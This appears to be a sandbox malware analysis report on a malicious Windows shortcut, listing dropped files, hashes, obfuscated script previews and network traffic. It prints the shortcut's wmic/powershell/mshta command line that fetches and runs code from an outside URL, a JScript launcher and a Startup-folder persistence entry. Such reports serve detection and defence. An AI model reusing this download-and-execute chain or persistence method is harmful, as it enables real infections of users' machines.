C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	130866
Entropy (8bit):	5.425065147784983
Encrypted:	false
SSDEEP:	1536:zKjBw7l0GLFqjLmqoTquyBQCGLu5fJDX5pwPGFSS2IH0dKxQ5SbNyO+DrxZlkaY8:XYQi3DX5WkfH0dKxdboDrNOdor
MD5:	1A8A1F4E5BA291867D4FA8EF94243EFA
SHA1:	B25076D2AE85BD5E4ABA935F758D5122CCB82C36
SHA-256:	441385D13C00F82ABEEDD56EC9A7B2FE90658C9AACB7824DEA47BB46440C335B
SHA-512:	F05668098B11C60D0DDC3555FCB51C3868BB07BA20597358EBA3FEED91E59F122E07ECB0BD06743461DFFF8981E3E75A53217713ABF2A78FB4F955641F63537C
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var fa=ea(this);function r(a,b){if(b)a:{var c=fa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\WordGenius Technologies\G

Download File

Process:	C:\Users\Public\Guard.exe
File Type:	ASCII text, with very long lines (1266)
Category:	dropped
Size (bytes):	1240100
Entropy (8bit):	5.144277296271024
Encrypted:	false
SSDEEP:	12288:D8V+jcfSgyuH7Kixj+UXk8pL6OvsEmeXBWD4LkPq0e718m3UDd:DcB7HxicaEmEQD3I1jUZ
MD5:	078A35D34863F9421F702C3044DA8A1F
SHA1:	1D34A5EF73992231F1E5857A462359596647E0F6
SHA-256:	6E32AE2A7776564163BE157BAEE93FCB156A5030D620C71D9FCF33D9A7CBC925
SHA-512:	67EEB87AEE2567513FC6D5AE241E62D73874980EC18BB77C46DF4191A2EC64A6DB1200F7541B0F6E908B66D39ACE1D483CD1E33E90C165A6DBA01C35536E1541
Malicious:	false
Preview:	Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]96]

C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js

Download File

Process:	C:\Users\Public\Guard.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.728787503041443
Encrypted:	false
SSDEEP:	3:RiMIpGXfeNH5E5wWAX+PKMEkD5yKXW/Zi+0/RaMl85uWAX+PKMEkD5yKXW/Zi+oM:RiJbNHCwWDMkDrXW/Zz0tl8wWDMkDrXS
MD5:	F3E27756AE384F28A50A26D42047C0C1
SHA1:	76D4F4BF89EB6DD92C22ACC729A16996FCC42EC7
SHA-256:	1954E6D6ED7E08C90CFF1BA567C85E15889B9098970DBE5F4979684CAD52130D
SHA-512:	C3C157EBEAA16DCA88B3F615674B4474B5A668D2398838A3096C2AFCCE8DC817F46F0D11CEC9E8474410108A445C5F6453E10BE4E1F807E0589D1CB30B405E81
Malicious:	true
Preview:	new ActiveXObject("Wscript.Shell").Run("\"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\SwiftWrite.pif\" \"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\G\"")

C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif

Download File

Process:	C:\Users\Public\Guard.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.913583050357082
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYoqLTVSRE2J5yKXW/Zi+URAAy:HRYF5yjoqLTwi23yKXW/Zzyy
MD5:	B196E358FC1F1A8683B763273B6F2FE2
SHA1:	D494A69C3B14D95E86242085E57527472F30AEB1
SHA-256:	DF5DE160AA2296D525325C499B8E46D179DFD669E4B1BC83324BC04162DF0754
SHA-512:	4195E5CCA900C5199D9A726795EA0F4AB2BF19FAB8356AD83265EC66157657A23EE3680718DF56E624BFF60036696735714A64FE95872B9B47A55634F0F2C76B
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" ..

C:\Users\user\AppData\Roaming\New_2025.webp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1200x800, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	187870
Entropy (8bit):	7.999013258393486
Encrypted:	true
SSDEEP:	3072:H7Uxsy3eSeT4buEoFmO7f4duw1G4J3ZEssmwDLwUeiwaODgT1LPH0:H7byuSeTYCXQdDhwDL3NLOg1bH0
MD5:	8781A81727602775AACB32609EBFAD39
SHA1:	423AFD558A5AC4FC657FF8E1BC0A269AFA21C826
SHA-256:	D25B29D19D59D464D0DE882632412B8D06F686043BC6E9C829E1CE9E6201973D
SHA-512:	23F58B5053DADE1126CEF4177498D05DC802F049972B98EECCFF7DA4E7B2A1CDED5D8F4E54594DB951E495C481B2D88FF5AD3559B58D304BA8FEB5BD6ADAFFE1
Malicious:	false
Preview:	RIFF....WEBPVP8 ....0...... .>I .E".!!'...P..ei...=8.9y.\......G..D.#m.........^...=J?z.P.....?..s.......j8...../.>..\|...`o..w.[.\|..7.........i...].W......K\|.........a/._.?i...k.w.....o.w.....}.h.b.e.s.g....A..?..............o.....>..........G...7...W..._.................<.......q~..i..........S..o.^;;..O......>..........f........9...W./.......?z?...}..w.../'.G.g.........k....?....]..._.?....Y.k...G.......?....../.....~....F...[...o../.?......7.........I............~b~......9.g.....W.........P/._...^...sM...`l..T.r....6.w%..x..G.......Y....fWR.gm.h`Y.....?..)......34.N.+T..:.q..W..b.L7.8.>KXN3..RI%ll......yI........i..".2.W...@.1.....I..7.bXD...t..s.`..c..q\.ujc...r.......<.`E,7...C.....e..^h.G...u".>...9W.4..M.....5.(w.~.ls....s.AG.QS.n...]..j.zyk..;.V.2=vN.7.U.C.n.w.A..36;6........}......&....c.....p.3.'..>{...s..a....We.mC....y.Q...Z.C.>.\.....O...""X..Z2..7..`.6....~p.~A.rFZ..#E"E.....Jp...K.0.j.?.{k..{.+.QTM-DZ.f.X.j...^.....<.#w..gI.<

C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1083904
Entropy (8bit):	6.306473619816267
Encrypted:	false
SSDEEP:	24576:DrORE29TTVx8aBRd1h1orq+GWE0Jc5bDTj1Vyv9TvaB1T:D2EYTb8atv1orq+pEiSDTj1VyvBa3
MD5:	567DE19C0E7E3A1FC845E51AC1C1D5D8
SHA1:	4C4FDEA73E0C98C2C82B6B1232EF7ECF5B99CCD1
SHA-256:	F1140750BA9FEAD0EF27B715D1BB2AE28864FE611068759F8EF4F8364AF559CB
SHA-512:	84C3A61A1F7A71E52DFE110CD975F6DA7EA0B2A83FA16F7B46C223ADE7B44D1F299BF0C108268502F144F5C93E0A74AB37B13D24B9540355658119768BF12C2A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......o1).+PG.+PG.+PG....>PG.....PG.....PG.....PG.y8B..PG.y8C.:PG.y8D.#PG."(.#PG."(..PG."(..PG.+PF..RG..9I.{PG..9D.PG..9..PG.+P.PG..9E.PG.Rich+PG.........................PE..d....^g.........."......4...R.......T.........@....................................qR....`...@...............@..............................\..\|........@...@..Ho..............t...Pp..........................(...pp...............P..8............................text...(3.......4.................. ..`.rdata...B...P...D...8..............@..@.data... ........P...\|..............@....pdata..Ho...@...p..................@..@.rsrc....@.......B...<..............@..@.reloc..t............~..............@..B................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

\Device\ConDrv

Download File

Process:	C:\Windows\System32\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.095703110114614
Encrypted:	false
SSDEEP:	3:YwM2FgCKGWMRX1eRHXWXKSovrj4WA3iygK5k3koZ3Pveys1MgkZfFJQAiveyzowv:Yw7gJGWMXJXKSOdYiygKkXe/egkXeAin
MD5:	4EDDD7254DD17FB0072B839B2D54DFD4
SHA1:	B1EFD020D13B8F4263902C702CABD7F1C99B9EE5
SHA-256:	2EE9303C506E630A11E0C41EA449C8EDF99B787FCF50EC65416252A387018598
SHA-512:	A98DC77A90F51697C8DC03555405C42482D9A6FBF170FA615DF6FE2E08784E3846CBFC524231A8A0E5F61A13377387588C00144611EB0E159D0CC0AAE3D2B37C
Malicious:	false
Preview:	Executing (Win32_Process)->Create()...Method execution successful....Out Parameters:..instance of __PARAMETERS..{...ProcessId = 6592;...ReturnValue = 0;..};....

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=325, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Entropy (8bit):	3.3953400609864874
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	nTyPEbq9wQ.lnk
File size:	1'048 bytes
MD5:	3f07684c8928f37a94395ac341b222b4
SHA1:	c55ac3e96ec0c1e9310059ef9862f1f142b37091
SHA256:	76a557c2ff0701d6c2631ac16582c07df84695b64d1fdd1901c1b14479a9f991
SHA512:	29cb1013fe8b6828044844f4260c3ac76eef02cdac5ecf22a21fe4d891e45eb8055288f7a285c5ff6dc1d6d2b9d18f13de9f0797babc1972416e3c6ea019473c
SSDEEP:	24:8w/BUlgKN4e9+/39kWNdk6Zoc6ParabqyI+pu:8UuGeK9ldkU6P4aey3w
TLSH:	34116D080AD64B20E373CF325879B311953B3C8AEEB38F1D00C086892536520B861F2F
File Content Preview:	L..................F....................................E........................P.O. .:i.....+00.../C:\...................V.1...........Windows.@.............................................W.i.n.d.o.w.s.....Z.1...........System32..B.....................

File Icon


Icon Hash:	40a2ae928689ad0d

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\..\Windows\System32\Wbem\wmic.exe
Command Line Argument:	process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')"
Icon location:	shell32.dll

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T08:40:00.704769+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49748	147.45.49.155	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:39:41.909023046 CET	49677	443	192.168.2.9	20.189.173.11
Dec 23, 2024 08:39:46.712141037 CET	49677	443	192.168.2.9	20.189.173.11
Dec 23, 2024 08:39:48.096502066 CET	49673	443	192.168.2.9	204.79.197.203
Dec 23, 2024 08:39:49.190272093 CET	49676	443	192.168.2.9	23.206.229.209
Dec 23, 2024 08:39:49.190279961 CET	49675	443	192.168.2.9	23.206.229.209
Dec 23, 2024 08:39:49.393351078 CET	49674	443	192.168.2.9	23.206.229.209
Dec 23, 2024 08:39:50.972196102 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:50.972243071 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:50.973315001 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:50.991523027 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:50.991535902 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:51.692259073 CET	443	49704	23.206.229.209	192.168.2.9
Dec 23, 2024 08:39:51.692457914 CET	49704	443	192.168.2.9	23.206.229.209
Dec 23, 2024 08:39:52.507266045 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:52.507348061 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:52.601547003 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:52.601578951 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:52.602025032 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:52.602086067 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:52.604450941 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:52.647340059 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.114351034 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.116288900 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:53.306548119 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.306560040 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.306591988 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.306659937 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:53.306682110 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.306710005 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:53.306730986 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:53.360940933 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.360963106 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.361032963 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:53.361062050 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.361074924 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:53.362520933 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:53.516679049 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.516704082 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.516762018 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:53.516802073 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.516814947 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:53.517071009 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:53.569950104 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.569974899 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.570043087 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:53.570067883 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.570733070 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:53.606260061 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.606316090 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.606342077 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:53.606348991 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:53.606395960 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:53.606682062 CET	49722	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:53.606700897 CET	443	49722	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:55.477459908 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:55.477507114 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:55.477593899 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:55.482937098 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:55.482958078 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:56.315332890 CET	49677	443	192.168.2.9	20.189.173.11
Dec 23, 2024 08:39:57.005070925 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:57.005151987 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:57.015741110 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:57.015764952 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:57.016035080 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:57.023679018 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:57.067336082 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:57.637841940 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:57.690283060 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:57.830158949 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:57.830179930 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:57.830240965 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:57.830274105 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:57.830291986 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:57.830331087 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:57.830341101 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:57.830352068 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:57.830352068 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:57.830370903 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:57.884659052 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:57.884676933 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:57.884751081 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:57.884768009 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:57.884879112 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.033297062 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.033328056 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.033440113 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.033461094 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.034233093 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.065166950 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.065190077 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.065310001 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.065326929 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.066209078 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.089721918 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.089740038 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.089798927 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.089813948 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.089962959 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.183504105 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.183526993 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.183592081 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.183613062 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.183623075 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.183641911 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.228880882 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.228903055 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.228966951 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.228985071 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.229013920 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.229013920 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.246938944 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.246956110 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.246997118 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.247005939 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.247029066 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.247049093 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.262356997 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.262378931 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.262455940 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.262466908 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.262501001 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.280196905 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.280214071 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.280420065 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.280431986 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.280484915 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.296717882 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.296732903 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.296811104 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.296823025 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.296860933 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.304449081 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.304532051 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.304541111 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.304563046 CET	443	49735	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.304608107 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.307424068 CET	49735	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.560538054 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.560595989 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:39:58.560657024 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.560889959 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:39:58.560903072 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:00.070853949 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:00.112413883 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:40:00.147769928 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:40:00.147795916 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:00.704771042 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:00.755151033 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:40:00.896625042 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:00.896640062 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:00.896661043 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:00.896667957 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:00.896692991 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:00.896698952 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:40:00.896722078 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:00.896765947 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:40:00.896809101 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:40:00.944732904 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:00.944750071 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:00.944768906 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:00.944818020 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:40:00.944839954 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:00.944870949 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:40:00.944888115 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:40:01.094499111 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:01.094523907 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:01.094578028 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:40:01.094597101 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:01.094623089 CET	49748	443	192.168.2.9	147.45.49.155
